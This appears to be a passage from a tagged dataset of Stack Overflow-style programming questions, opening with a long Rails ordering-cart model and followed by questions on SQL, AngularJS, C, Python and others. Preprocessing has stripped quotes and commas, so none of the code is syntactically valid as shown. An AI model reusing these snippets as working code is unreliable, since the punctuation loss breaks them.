upc_rule  style +  a ]          :select =&gt;  style ) end  def self.update_quantity query_account_number  login  id  quantity     if quantity.to_i &gt; 0         order = order.first(:conditions =&gt; {:account_number =&gt; query_account_number  :login =&gt; login})         detail = order.order_details.first(:conditions =&gt; {:id =&gt; id})         if detail             detail.quantity = quantity.to_i             detail.save         end     end end  def self.update_order_note query_account_number  login  order_note     order = order.first(:conditions =&gt; {:account_number =&gt; query_account_number  :login =&gt; login})     order.note = order_note     order.save end  def self.update_order_item_note query_account_number  login  id  note     order = order.first(:conditions =&gt; {:account_number =&gt; query_account_number  :login =&gt; login})     detail = order.order_details.first(:conditions =&gt; {:id =&gt; id})     if detail         detail.note = note         detail.save     end end  def self.add_item query_account_number  login  quantity  upc1  upc2  price_code  upc_rule     if quantity.to_i &gt; 0         order = order.first(:conditions =&gt; {:account_number =&gt; query_account_number  :login =&gt; login})         order = order.add_order_header(query_account_number  login) if order.blank          if order             item = item.first(:conditions =&gt; [ rul31c =   and concat(trim(comi1c)  concat(trim(arsb1c)   a )) =     upc_rule  upc1 + upc2 +  a ]                                                    :select =&gt;  style  color  size  pnum35  cono35  comi1c  arsb1c  ptyp35 )             price = price.first(:conditions =&gt; {:catnwp =&gt; item.pnum35  :conowp =&gt; item.cono35  :listwp =&gt; price_code}  :select =&gt;  prcewp ) unless item.blank              if item and price                 order_detail = orderdetail.new(:style =&gt; item.style                                                                               :order_id =&gt; order.id                                                                               :quantity =&gt; quantity                                                                               :color =&gt; item.color                                                                               :size =&gt; item.size)                 order_detail.save                  # return a cart item hash                 cart_contents = []                 cart_contents &lt;&lt; {:style =&gt; item.style                                                      :color =&gt; item.color                                                      :size =&gt; item.size                                                      :quantity =&gt; quantity                                                      :name =&gt; proitem.short_description(item.style)                                                      :price =&gt; price.prcewp                                                      :type =&gt; item.ptyp35                                                      :upc =&gt; item.comi1c + item.arsb1c                                                      :id =&gt; order_detail.id}              end         end     end end  def self.order_info_update query_account_number  login  info     order = order.first(:conditions =&gt; {:account_number =&gt; query_account_number  :login =&gt; login})     if order         if info.has_key ( name )             order.name = info[:name]             order.address1 = info[:address1]             order.address2 = info[:address2]             order.address3 = info[:address3]             order.city = info[:city]             order.state = info[:state]             order.zip = info[:zip]         end         if info.has_key ( po_number )             order.po_number = info[:po_number]         end         order.save         # where does po number go        end end  def self.mailing_address query_account_number  login     o = order.first(:conditions =&gt; {:account_number =&gt; query_account_number  :login =&gt; login})     {:name =&gt; o.name  :address1 =&gt; o.address1  :address2 =&gt; o.address2  :address3 =&gt; o.address3  :city =&gt; o.city  :state =&gt; o.state  :zip =&gt; o.zip} if o end  def self.order_note query_account_number  login     o = order.first(:conditions =&gt; {:account_number =&gt; query_account_number  :login =&gt; login}  :select =&gt;  note )     o.note if o end  def self.cart_contents query_account_number  login  price_code  upc_rule     # todo: what to do if item changed since they put it in cart      # perhaps we expire a cart after a while  but  that still is not a perfect solution.     # ideally here we go through each style  make sure it is still valid for the customer  and     # check color/size as well.     order_items = order.first(:conditions =&gt; {:account_number =&gt; query_account_number  :login =&gt; login} )      if order_items         cart_contents = []         order_items.order_details.each do |oi|              as400_item = item.first(:conditions =&gt; {:rul31c =&gt; upc_rule  :style =&gt; oi.style.ljust(9)  :color =&gt; oi.color  :size =&gt; oi.size }                                                  :select =&gt;  pnum35  cono35  ptyp35  comi1c  arsb1c )             price = price.first(:conditions =&gt; {:catnwp =&gt; as400_item.pnum35  :conowp =&gt; as400_item.cono35  :listwp =&gt; price_code}  :select =&gt;  prcewp ) unless as400_item.blank               cart_contents &lt;&lt; {:style =&gt; oi.style                                                  :color =&gt; oi.color                                                  :size =&gt; oi.size                                                  :quantity =&gt; oi.quantity                                                  :name =&gt; proitem.short_description(oi.style)                                                  :price =&gt; price.prcewp                                                  :type =&gt; as400_item.ptyp35                                                  :note =&gt; oi.note                                                  :upc =&gt; as400_item.comi1c + as400_item.arsb1c                                                  :id =&gt; oi.id} if as400_item and price         end unless order_items.blank          cart_contents     end end  def self.cart_contents_count query_account_number  login     order_items = order.first(:conditions =&gt; {:account_number =&gt; query_account_number  :login =&gt; login} )     count = 0     order_items.order_details.each {|oi| count += oi.quantity } if order_items     count end  def self.cart_contents_total query_account_number  login  price_code  upc_rule     order_items = order.first(:conditions =&gt; {:account_number =&gt; query_account_number  :login =&gt; login} )     total = 0     order_items.order_details.each do |oi|         as400_item = item.first(:conditions =&gt; {:rul31c =&gt; upc_rule  :style =&gt; oi.style.ljust(9)  :color =&gt; oi.color  :size =&gt; oi.size }              :select =&gt;  pnum35  cono35  ptyp35 )         price = 0         if !as400_item.blank              price = price.first(:conditions =&gt; {:catnwp =&gt; as400_item.pnum35  :conowp =&gt; as400_item.cono35  :listwp =&gt; price_code}  :select =&gt;  prcewp )             total += (oi.quantity * price.prcewp.to_f)         end     end if order_items     total end  def self.add_order_details query_account_number  login  items  notes = hash.new     result = false     if items          # if there is not an order record  create one. basically we only         # allow one open order per login at a time  and if there is         # one already  we continue to append order_detail records to it.         order = order.first(:conditions =&gt; {:account_number =&gt; query_account_number  :login =&gt; login.upcase})         order = order.add_order_header(query_account_number  login) if order.blank           items.each do |key  value|             if value.to_i &gt; 0                 result = true                 style = key[0..8]                 color = key[9..11]                 size = key[12..14]                  order_detail = orderdetail.new(:style =&gt; style                                                                               :order_id =&gt; order.id                                                                               :quantity =&gt; value                                                                               :color =&gt; color                                                                               :size =&gt; size                                                                               :note =&gt; (notes   notes[key] :   ))                 order_detail.save             end         end if order     end     result end  def self.submit_order query_account_number  login  price_code  distributor_number     o = order.first(:conditions =&gt; {:account_number =&gt; query_account_number  :login =&gt; login})      # todo: transaction or some error handling     if o          # find all associated records we need.         customer = customer.first(:conditions =&gt; {:cusn05 =&gt; query_account_number}  :select =&gt;  cono05  cgp405  slmn05  list20  )         sign_on = signon.first(:conditions =&gt; {:userw1 =&gt; login.upcase}                                                                                        :select =&gt;  idnow1  bsnamw1  accntw1  prfdstw1  cntacw1  bsadd1w1  bsadd2w1  bsadd3w1  bscityw1  bsstcdw1  bszipw1  acctypw1 )         distributor = distributor.first(:conditions =&gt; {:cusnp1 =&gt; distributor_number}  :select =&gt;  cnam05  emailp1 )             if sign_on.acctypw1.strip ==  ds                     rec = signon.find_by_userw1!(login)                         webid = rec.prfdstw1                     elsif sign_on.acctypw1.strip ==  dsd                  rec = signon.find_by_userw1!(login)                         webid = rec.prfdstw1           end          #cnt = weboel23.count(:all :conditions =&gt; {:act223 =&gt; mp})         weboel23 = weboel23.first(:conditions =&gt; {:act223 =&gt; webid}  :select =&gt;  emal23 )            #cnt=weboel23.count               approval0=weboel23.get_email_by_account0(webid)         approval1=weboel23.get_email_by_account1(webid)         approval2=weboel23.get_email_by_account2(webid)         approval3=weboel23.get_email_by_account3(webid)         approval4=weboel23.get_email_by_account4(webid)             # weboel23 = weboel23.each(:conditions =&gt; {:act223 =&gt; mp}  :select =&gt;  emal23 )         #approval = weboel23.emal23          #f=file.open( /var/www/onlineordering.coastalpet.com/log/debug3.txt )         #establish_connection  as400_#{rails_env}                    #f.puts  prfdstw1           #f.puts rec = signon.find_by_userw1!(login)          #f.puts  type= +elephant          #f.puts  email= +approval0          #f.close                          # s = find_by_sql [ select emal23 emal23 from weboel23 where act223 =     distributor_number]                    # d &lt;&lt; { :id =&gt; s[0].emal23 } unless s.blank            if customer and sign_on              as400_order_id =  wb  + o.id.to_s.rjust(8   0 )              total = 0             count = 0             line = 1 # start at 1 per ron hoopes 2/14/2011             o.order_details.each do |oi|                  item = item.first(:conditions =&gt; {:rul31c =&gt; customer.cgp405  :style =&gt; oi.style.ljust(9)  :color =&gt; oi.color  :size =&gt; oi.size }                                                     :select =&gt;  comi1c  arsb1c  chdt1c  pnum35  cono35  pdes35 )                 price = price.first(:conditions =&gt; {:catnwp =&gt; item.pnum35  :conowp =&gt; item.cono35  :listwp =&gt; price_code}  :select =&gt;  prcewp ) unless item.blank                   if item and price                     weborderdetail.create(:conowd =&gt; customer.cono05                                                                  :uniqwd =&gt; as400_order_id                                                                  :linewd =&gt; line                                                                  :itemwd =&gt; oi.style.ljust(9) + oi.color + oi.size                                                                  :barcwd =&gt; item.comi1c.strip + item.arsb1c.strip + item.chdt1c.strip                                                                  :altiwd =&gt;                                                                     :itmdwd =&gt; item.pdes35                                                                  :qtywd =&gt; oi.quantity                                                                  :uprcwd =&gt; price.prcewp.to_f.round_to(2)                                                                  :listwd =&gt; customer.list20                                                                  :dtdrwd =&gt;  0                                                                   :dcd1wd =&gt;                                                                     :dsc1wd =&gt;  0                                                                   :dcd2wd =&gt;                                                                     :dsc2wd =&gt;  0 )                      # create any order item notes.                     unless oi.note.blank                          oi.note.scan(/.{1 70}/).each_with_index do |note  index|                             webordernote.create(:conown =&gt; customer.cono05                                                                      :textwn =&gt; note                                                                      :uniqwn =&gt; as400_order_id                                                                      :linewn =&gt; line                                                                      :seqwn =&gt; index)                         end                     end                      count += oi.quantity.to_i                     total += oi.quantity.to_i * price.prcewp.to_f.round_to(2)                     line += 1                 end             end              # create any order notes.             unless o.note.blank                  o.note.scan(/.{1 70}/).each_with_index do |note  index|                     webordernote.create(:conown =&gt; customer.cono05                                                              :textwn =&gt; note                                                              :uniqwn =&gt; as400_order_id                                                              :linewn =&gt; 0                                                              :seqwn =&gt; index)                 end             end              # coastal s definition a current century is off by one  hence the math for the date.             as400_order_header = weborder.new(:conowc =&gt; customer.cono05                                                                                  :uniqwc =&gt; as400_order_id                                                                                  :idnowc =&gt; sign_on.idnow1                                                                                  :namewc =&gt; o.name                                                                                  :addr1wc =&gt; o.address1                                                                                  :addr2wc =&gt; o.address2                                                                                  :addr3wc =&gt; o.address3                                                                                  :citywc =&gt; o.city                                                                                  :statewc =&gt; o.state                                                                                  :zipcdwc =&gt; o.zip                                                                                  :cusnwc =&gt; query_account_number                                                                                  :dtordwc =&gt; utilities.to_db2_date(date.today)                                                                                  :shpdtwc =&gt; utilities.to_db2_date(date.today)                                                                                  :cusowc =&gt; o.po_number.blank    as400_order_id : o.po_number                                                                                  :slmnwc =&gt; customer.slmn05                                                                                  :rulewc =&gt; customer.cgp405                                                                                  :listwc =&gt; customer.list20                                                                                  :valuewc =&gt; total.to_f.round_to(2)                                                                                  :statwc =&gt;   )              if as400_order_header.save                  # sent confirmation email  if required. only send it for users that chose a distributor                  # whether they had to choose one or not. we determine this by looking at the account number                 # in the sign_on and comparing it with the order number we are using for the order. if                 # that is different  it indicates that they chose a distributor.                  # these are used in the email body  key for the hash is the replacement tags  capitalized  &amp;                 # prepended and appended with   ##   e.g. ##name## - and any underlines are replaced with space                 email_details = { name  =&gt; sign_on.bsnamw1                                                    order_number  =&gt; as400_order_id                                                    order_total  =&gt; format( $%.2f   total)                                                    order_count  =&gt; count.to_s                                                    order_date  =&gt; date.today.to_s                                                    distributor_name  =&gt; (distributor   distributor.cnam05 :   )                                                    distributor_contact  =&gt;  unknown                                                     customer_name  =&gt; sign_on.bsnamw1                                                    customer_address  =&gt; sign_on.bsadd1w1.strip + (!sign_on.bsadd2w1.blank     &lt;br&gt;  + sign_on.bsadd2w1.strip :   ) + (!sign_on.bsadd3w1.blank     &lt;br&gt;  + sign_on.bsadd3w1.strip :   )                                                    customer_city  =&gt; sign_on.bscityw1                                                    customer_state  =&gt; sign_on.bsstcdw1                                                    customer_zip  =&gt; sign_on.bszipw1                                                    customer_contact  =&gt; sign_on.cntacw1}                       mailer.deliver_order_coastal_notify_email( coastal pet online ordering&lt;noreply@coastalpet.com&gt;    order confirmation   email_details)                 # per dana 6/30/2012  just ds                  if sign_on.acctypw1.strip ==  ds  or sign_on.acctypw1.strip ==  dsd                       # if there is no distributor email address  the mailer model will substitute in the admin s email from their settings                     mailer.deliver_order_distributor_approval_email(distributor   distributor.emailp1 :      coastal pet online ordering&lt;noreply@coastalpet.com&gt;    order confirmation  #{approval0} #{approval1}   email_details)                     if approval0!=                             mailer.deliver_order_confirmation_email(login   coastal pet online ordering&lt;noreply@coastalpet.com&gt;    order confirmation   email_details)                         mailer.deliver_order_distributor_approval_email(approval0   coastal pet online ordering&lt;noreply@coastalpet.com&gt;    order confirmation    email_details)                         mailer.deliver_order_coastal_notify_email( coastal pet online ordering&lt;noreply@coastalpet.com&gt;    order confirmation   email_details)                         end                                      if approval1!=                               mailer.deliver_order_confirmation_email(login   coastal pet online ordering&lt;noreply@coastalpet.com&gt;    order confirmation   email_details)                             mailer.deliver_order_distributor_approval_email(approval1   coastal pet online ordering&lt;noreply@coastalpet.com&gt;    order confirmation     email_details)                             mailer.deliver_order_coastal_notify_email( coastal pet online ordering&lt;noreply@coastalpet.com&gt;    order confirmation   email_details)                             end                         if approval2!=                               mailer.deliver_order_confirmation_email(login   coastal pet online ordering&lt;noreply@coastalpet.com&gt;    order confirmation   email_details)                                mailer.deliver_order_distributor_approval_email(approval2   coastal pet online ordering&lt;noreply@coastalpet.com&gt;    order confirmation    email_details)                             mailer.deliver_order_coastal_notify_email( coastal pet online ordering&lt;noreply@coastalpet.com&gt;    order confirmation   email_details)                             end                         if approval3!=                                mailer.deliver_order_confirmation_email(login   coastal pet online ordering&lt;noreply@coastalpet.com&gt;    order confirmation   email_details)                                mailer.deliver_order_distributor_approval_email(approval3   coastal pet online ordering&lt;noreply@coastalpet.com&gt;    order confirmation     email_details)                                 mailer.deliver_order_coastal_notify_email( coastal pet online ordering&lt;noreply@coastalpet.com&gt;    order confirmation   email_details)                             end                         if approval4!=                                mailer.deliver_order_confirmation_email(login   coastal pet online ordering&lt;noreply@coastalpet.com&gt;    order confirmation   email_details)                                mailer.deliver_order_distributor_approval_email(approval4   coastal pet online ordering&lt;noreply@coastalpet.com&gt;    order confirmation    email_details)                             mailer.deliver_order_coastal_notify_email( coastal pet online ordering&lt;noreply@coastalpet.com&gt;    order confirmation   email_details)                             end                                        mailer.deliver_order_distributor_approval_email(weboel23   weboel23.emal23:      coastal pet online ordering&lt;noreply@coastalpet.com&gt;    *order confirmation   email_details)                      mailer.deliver_order_distributor_approval_email( robert.kendall@coastalpet.com    coastal pet online ordering&lt;noreply@coastalpet.com&gt;    *order confirmation   email_details)                      end                  # al ways notify coastal staff                  # update the last ordered date (used for reminders)                 user.update_last_order_date(login)                  o.destroy                 as400_order_id             end         end     end end  def self.count_user_orders query_account_number  login     count = order.first(:conditions =&gt; {:account_number =&gt; query_account_number  :login =&gt; login})     count.order_details.count unless count.blank  or count == 0 end  def self.reorder(order_number  login  query_account_number  upc_rule  price_code  mode)     warnings =         # if we are not in check mode  then blank out cart     self.empty_cart(query_account_number  login) if mode !=  check       # get the previous order     oo = weborder.get_previous_order(order_number  login)      # go through each line item     oo.each do |ooi|          # verify it still exists in the as400 and is same price         # note that this reports back a -1 if it cannot find the         # same style+color+size option  otherwise just reports         # price if it finds it.         current_price = item.check_item_exists(query_account_number  ooi[:style]  ooi[:color]  ooi[:size]  upc_rule  price_code)          # if item was not found  we can t add it.         # we could spend more time to determine if it was the color  or size  or that         # the style itself is not available  but it seems reasonable enough to         # present it this way. really should not be doing this  presentation  in         # the model  but we don t have views setup for ajax so we have to give the         # controller the text we want rendered.         if current_price == -1             warnings +=  sku  + ooi[:style].to_s + ooi[:color].to_s + ooi[:size].to_s +   is no longer available&lt;br /&gt;          else             # if price did not match  append to list of warnings             if current_price.to_f.round_to(2) != ooi[:price].to_f.round_to(2)                 warnings +=  sku  + ooi[:style].to_s + ooi[:color].to_s + ooi[:size].to_s +   price is   +                     actioncontroller::base.helpers.number_to_currency(current_price) +   and it was   +                     actioncontroller::base.helpers.number_to_currency(ooi[:price]) +  &lt;br /&gt;              end             # if not in check mode  add item to cart             # in this case  we don t care that the price did             # not match  we still add it.             populate_cart(query_account_number  login  ooi[:style]  ooi[:color]  ooi[:size]  ooi[:quantity]  ooi[:line_item_note]  ooi[:order_note]) if mode !=  check          end     end     mode ==  check    warnings :    end  def self.empty_cart query_account_number  login     order = order.first(:conditions =&gt; {:account_number =&gt; query_account_number  :login =&gt; login})     order.destroy if order end  def self.populate_cart query_account_number  login  style  color  size  quantity  note  order_note      # if there is not an order record  create one. basically we only     # allow one open order per login at a time  and if there is     # one already  we continue to append order_detail records to it.     order = order.first(:conditions =&gt; {:account_number =&gt; query_account_number  :login =&gt; login.upcase})     order = order.add_order_header(query_account_number  login) if order.blank       # these can be null for kits  and we don t like nulls in the database for this     color =    if color.blank      size =    if size.blank       if order         order.note = order_note # yeah we do this each time but while inefficient it works         order.save         order_detail = orderdetail.new(:style =&gt; style                                                                       :order_id =&gt; order.id                                                                       :quantity =&gt; quantity                                                                       :color =&gt; color                                                                       :size =&gt; size                                                                       :note =&gt; note)         order_detail.save     end  end  private     def self.add_order_header query_account_number  login         # default address info to sign_on         sign_on = signon.first(:conditions =&gt; {:userw1 =&gt; login.upcase}  :select =&gt;  bsnamw1  bsadd1w1  bsadd2w1  bsadd3w1  bscityw1  bsstcdw1  bszipw1 )          if sign_on             order = order.new(:login =&gt; login                                                  :account_number =&gt; query_account_number                                                  :name =&gt; sign_on.bsnamw1                                                  :address1 =&gt; sign_on.bsadd1w1                                                  :address2 =&gt; sign_on.bsadd2w1                                                  :address3 =&gt; sign_on.bsadd3w1                                                  :city =&gt; sign_on.bscityw1                                                  :state =&gt; sign_on.bsstcdw1                                                  :zip =&gt; sign_on.bszipw1)             order.save             order         end     end </code></pre>   end,ruby-on-rails
best server os to host my .net applications  which microsoft os versions and tuning tools do you recommend to host applications targeted for the following environments    <ol> <li>.net 2.0-</li> <li>.net 3.0+</li> </ol>   note: dont worry about my hardware. just tell me what would suit me best considering the environments mentioned above and the need for stability  security and high uptime.,.net
when to use anonymous functions  i have an object ajax_tryit which calls ajax_generic ans sends it 3 functions.  they are all named.     would it be better (more efficient  a tad faster) to use anonymous functions.    application...this is the ajax call back function which can do 3 things  pass  fail  or undefined(usually a php error).   <pre><code>function ajax_generic( server_response_text  pass_func  fail_func  undefined_func ) {     var aml_status = check_aml( server_response_text.slice( 0  6 ) );     if( aml_status === constant.aml.pass )     {         pass_func();     }     else if( aml_status === constant.aml.fail )     {         fail_func();     }     else     {         undefined_func();     } } function ajax_tryit( server_response_text  html_div ) {     var pass_func = function {window.location.reload()};     var fail_func = function(server_response_text) { alert(  ajax_tryit():   + server_response_text ) } ;     var undefined_func = function(server_response_text) { alert(  php error:   + server_response_text ) };     ajax_generic( pass_func  fail_func  undefined_func ); } </code></pre>,javascript
combine multiple queries different where clause  i have 2 queries that i would like to combine into one.  basically i want the 2 queries to be in one output table... output would look like this…   <pre>  store        gc sold             total cars  1               22                    75  2                24                    88  3                15                    89 </pre>    the problem is i can’t figure out how to get it in the same table.    here are my queries…   <pre><code>select        store_number  count_big(quantity_sold) as gc sold from            invoice_detail_tb where        (invoice_date between convert(datetime  @startdate  102) and convert(datetime  @enddate  102)) and (jli_category_code =  gc )                           and (invoice_detail_code like  jlgc% ) and (invoice_detail_type =  item ) group by store_number </code></pre>   this output is:   <pre> store number      gc sold  1                    12  2                    13  3                    14 </pre>  <pre><code>select   store_number           sum(vehicle_count) as [total_cars] from     daily_sales_tb where    (operations_day between convert (datetime  @startdate  102) and convert (datetime  @enddate  102)) group by store_number; </code></pre>   output:   <pre> store number       total cars  1                      7  2                      8  3                      9 </pre>    separately  the queries work as designed. however if i try to combine them they are 2 different aggregate functions so it doesn’t work.,sql
could some one explain what does these icomparer  ienumerable etc stand for  i am pretty new to .net. in classes i have seen objects as icomparer  ienumerable etc.  could some one explain what does these stand for     thanks for your help.,.net
how to use sliding drawer jus like the below image with tabs and listview   i am working on registration page where i should allow the users to select country   religion etc. so i thought of using sliding drawer to provide the list of countries . here my question is if the user clicks on a country field the sliding drawer should should appear from the right .how to add a sliding drawer with list view  the sliding drawer should slide from the right side and once the item from the list is selected the text should be displayed in the concerned field.    <a href= https://i.stack.imgur.com/ovzql.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/ovzql.jpg  alt= image ></a>,android
how should i implement business logic layer in rails  and where should i put that code   i read  enterprise rails  (http://oreilly.com/catalog/9780596515201) the author suggests to have two subfolders named logical  physical under the models folder. it sounds like a good idea to organize the code. it will also allow to have a business layer. i just want to know how rails community feels about this. is it a good idea to have a separate logic layer,ruby-on-rails
how to set filter programmatically in directive  i ve got an angular directive that allows numbers to be reformatted based on the responsive break points in bootstrap; so a small device would get a shortened number (1 mil)  a desktop device would get the full output (1 000 000).    internally this switches between two html versions of the number  what i d like to do is parameterize the number filter in the template html so i can switch it to currency in certain cases.     how can i use the filter argument set through the directive s scope as a dynamic filter parameter    <pre><code>angular.module( myapp ).directive( responsivenumber   [ $log    $filter   ($log  $filter) =&gt; {     return {         restrict:  e           replace: true          scope: {              value :  =                precision :  =                prefix :  =                filter :  =          }          template:  &lt;span&gt;{{::prefix}}&lt;span class= responsive-num-full &gt;    {{::value | number:precision}}&lt;/span&gt;&lt;span class= responsive-num-short  ng-bind-html= ::value | shortnumber:precision &gt;&lt;/span&gt;&lt;/span&gt;           link: (scope: any  element: any) =&gt; {          }     }; }]); </code></pre>   in use:   <pre><code>&lt;responsive-number value= availablefunds  precision= 0  prefix=  $   filter=  currency  &gt;&lt;/responsive-number&gt; </code></pre>,angularjs
how to get ifr_hwaddr.sa_data to char  how to get this:   <pre><code>printf(  %02x:%02x:%02x:%02x:%02x:%02x   (unsigned char)item-&gt;ifr_hwaddr.sa_data[0]  (unsigned char)item-&gt;ifr_hwaddr.sa_data[1]  (unsigned char)item-&gt;ifr_hwaddr.sa_data[2]  (unsigned char)item-&gt;ifr_hwaddr.sa_data[3]  (unsigned char)item-&gt;ifr_hwaddr.sa_data[4]  (unsigned char)item-&gt;ifr_hwaddr.sa_data[5]); </code></pre>   into this(store in variable  not print it):   <pre><code>char mac[18]; </code></pre>   thanks,c
finding a common way to slide  div s by clicking on the buttons for each of them  my html consists of lines of text(questions) and a button beside each to show/hide answers. it is something like this.   <pre><code>&lt;div id= test &gt; &lt;ul&gt; &lt;li&gt;ques 1 &lt;button&gt;view/hide answer&lt;/button&gt; &lt;/li&gt;   &lt;div id= ans1 &gt;    answer 1   &lt;/div&gt; &lt;li&gt;ques 2 &lt;button&gt;view/hide answer&lt;/button&gt;&lt;/li&gt;   &lt;div id= ans2 &gt;    answer 2   &lt;/div&gt; . . . &lt;/ul&gt; &lt;/div&gt; </code></pre>   what i m trying to achieve is a single function which can take the id of the clicked button or say the class of button and show/hide the div after it. using jquery i can provide different ids to each and write code for the same but that ll be a foolish thing to do as i have a lot of questions to show. i hope i m able to explain myself well. there may be a very easy way to do it but unfortunately i just can t get to it. hope someone out there will help me out.,jquery
how can i set a target to top for a link within an iframe   in my code for index.html i use jquery and have a link with id #button3.     i have used in index.html   <pre><code> $( #button3 a ).attr({                             target:  _top                          }); </code></pre>   when i call the index.html from an iframe as a src  the page opens in _self.  i have tried with _blank and still when clicking on the a link it doesn t open on a new page.    i have this code    <pre><code> //handle click ok button                 $( #button3 ).click(function(){                     if (validate()) {                         submitquery();                     }                 });                          //set the target attribut to return to the parent                         $( #button3 a ).attr( target    _parent ); </code></pre>   and 2 functions validate and submitquery don t call the a link at any time.,jquery
ng-submit in angularjs is not working  i am relatively new in angularjs. i am working with a search field where search will execute with the  ng-submit   but ng-submit is not working. here is my template (only the search portion):   <pre><code>&lt;form class= navbar-form navbar-right  ng-submit= search() &gt;     &lt;input class= form-control col-lg-8  type= text  placeholder= search  ng-model= term &gt;&lt;/input&gt; &lt;/form&gt;  </code></pre>   and the associated angularjs   <pre><code>&lt;script&gt; app.controller( navctrl   [ $scope    $http    $location    $q   $timeout   function navctrl($scope  $http  $location  $q  $timeout) {     $scope.results = [ test ];     $scope.term =   ;     $scope.reqs =  5 ;     $scope.pics =  45 ;     $scope.ddata =  asdasd ;     $scope.ddata = $http.post( {% url  get-nav-info  %} ).success(         function(result){             //$scope.reqs = result.data.data.num_request;             //$scope.pics = result.data.data.num_photo;             return result.data;         }     );     //$scope.reqs = $scope.ddata.num_request;     //$scope.pics = $scope.ddata.num_photo;       $scope.search = function(){         //alert( test );         //$location.absurl()         //$location.path( {% url  search-term-show  %} term= +$scope.term).replace();         $http.get( {% url  search-term-show  %} term= +$scope.term).success(function(result){                 return result.data;         });     //$scope.$apply();     } }]);  &lt;/script&gt; </code></pre>   i am pretty sure the problem is occurring in the angularjs ng-submit portion. but can t fix it out properly. i am pretty sure because if i manually write the url for search then it shows results but if i try to search the result by pressing enter the search gives no response. please help me to fix this problem.,angularjs
reason for & and | in endianess conversion <pre><code>/ swap endian (big to little) or (little to big) uint32_t num = 9; uint32_t b0 b1 b2 b3; uint32_t res;  b0 = (num &amp; 0x000000ff) &lt;&lt; 24u; b1 = (num &amp; 0x0000ff00) &lt;&lt; 8u; b2 = (num &amp; 0x00ff0000) &gt;&gt; 8u; b3 = (num &amp; 0xff000000) &gt;&gt; 24u; res = b0 | b1 | b2 | b3; </code></pre>   i got this code from an answer posted at  <a href= https://stackoverflow.com/questions/19275955/convert-little-endian-to-big-endian >convert little endian to big endian</a>     i understand the above steps swap the byte to convert from little to big endian. why  &amp;  with (0x0000ff00 ....) for b0 b1 .. at each step and  |  in the end for the result  can some one explain these doubts that will help me understand the conversion between endianess.,c
can programs which are written in c++ run anywhere   i know that for running c++ on windows you need to compile specifically for windows and the same goes for linux and on...    but for example  if i m compiling program for windows written in native c++ i can run it on a freshly installed windows pc  i mean  without downloading visual c++ runtime libraries  etc  i can just compile it  let s say  reinstall windows on my computer  and run it without installing anything else     (the question above using windows as an example but the same thing can be done on freshly installed linux distro  e.g ubuntu) thanks in advance.,c++
returning a list with activerecord query interface  my <code>program</code> class has_many <code>patients</code> and <code>patient</code> class has a field like <code>salary</code>    and the json i pass to jbuilder with <code>respond_to :json    respond_with(@org)</code> is like this:   <pre><code>@org = org.includes(programs: [{hospitals: :nurses}  :patients]).find(params[:id]) </code></pre>   well now if my database has 200 programs that meed the <code>org_id = params[:id]</code> condition it will return them all. but this is not what i want. i want to tell it to return  5  programs and those  five  programs that the  salary  field of their : patients  table is the highest.    how can i implement this limitation in active record query,ruby-on-rails
how to replace only 1 columns in 1 rows of list   i read all line from file text into list&lt;>.    but i have a problem. i want to change only 1 element(is columns) in 1 rows of file text.    when i send email successful  it will update time in this line i checking.    this data in file text   <pre><code>    user1             abc@gmail.com           5/1/2016  // many rows..... </code></pre>   after sendemail successful it s will update like:   <pre><code>user1             abc@gmail.com           8/1/2016 </code></pre>   current  i must use appendallline() function to add line:   <pre><code>file.appendalllines(datapath  (from i in items select i.serialize()).toarray()  encoding.default); </code></pre>   i tried streamwriter but it does not support like:   <pre><code>from i in items select i.serialize()).toarray() </code></pre>   here my code to update time.   <pre><code>if (time.day == today.day) {     flag = sendmail.senddailymail(listmail);     if (flag == true)     {         rows.time = timenow;         list&lt;dtosavefromfile&gt; lst = new list&lt;dtosavefromfile&gt;(1);         lst.add(rows);         diskfile.save(lst);     } } </code></pre>   class diskfile:   <pre><code>public static void save(list&lt;dtosavefromfile&gt; items) {     file.appendalllines(datapath  (from i in items select i.serialize()).toarray()  encoding.default); }  public static list&lt;dtosavefromfile&gt; load() {     string[] data = file.readalllines(datapath);     return (from i in data select new dtosavefromfile(i)).tolist&lt;dtosavefromfile&gt;(); } </code></pre>,c#
typeerror  classobj  object has no attribute  __getitem__  in python  i m just a beginner at python and i have no idea how to fix this. please help.    the error:   <pre><code>traceback (most recent call last):   file  c:\users\priscilla\desktop\cmpt assn #3\page.py   line 17  in &lt;module&gt;     print  &lt;p&gt;customer name:   form[ custname ].value   &lt;/p&gt;  typeerror:  classobj  object has no attribute  __getitem__  </code></pre>   python script:   <pre><code>import cgi form = cgi.fieldstorage  # print http/html header stuff print    content-type: text/html  &lt;!doctype html public  -//w3c//dtd xhtml 1.0 strict//en       http://www.w3.org/tr/xhtml1/dtd/xhtml1-strict.dtd &gt; &lt;html&gt;&lt;head&gt; &lt;title&gt;order form&lt;/title&gt; &lt;/head&gt;&lt;body&gt;      # print html body using form data print  &lt;h1&gt;kintoro japanese bar &amp;amp; restaurant&lt;/h1&gt;  print  &lt;h2&gt;customer reciept&lt;/h2&gt;  print  &lt;p&gt;customer name:   form[ custname ].value   &lt;/p&gt;  print  &lt;p&gt;customer email address:   form[ custemail ].value   &lt;/p&gt;  print  &lt;h2&gt;customer address:&lt;/h2&gt;  print  &lt;p&gt;street:   form[ custadd ].value   &lt;/p&gt;  print  &lt;p&gt;city:   form[ custcity ].value   &lt;/p&gt;  print  &lt;p&gt;province:   form[ custprov ].value   &lt;/p&gt;  print  &lt;p&gt;postal code:   form[ custpostal ].value   &lt;/p&gt;  print  &lt;h2&gt;payment information:&lt;/h2&gt;  print  &lt;p&gt;card type:   form[ type1 ].value   &lt;/p&gt;  print  &lt;p&gt;card number: xxxx-xxxx-xxxx-   form[ four4 ].value   &lt;/p&gt;  print  &lt;p&gt;expiry date:   form[ expdate ].value   &lt;/p&gt;  </code></pre>,python
if a div is 100% width by default  if a <code>div</code> is 100% width  should i still put in <code>width: 100%;</code>  i look at a lot of code and it s always in there even though by default a <code>div</code> is 100%.,html
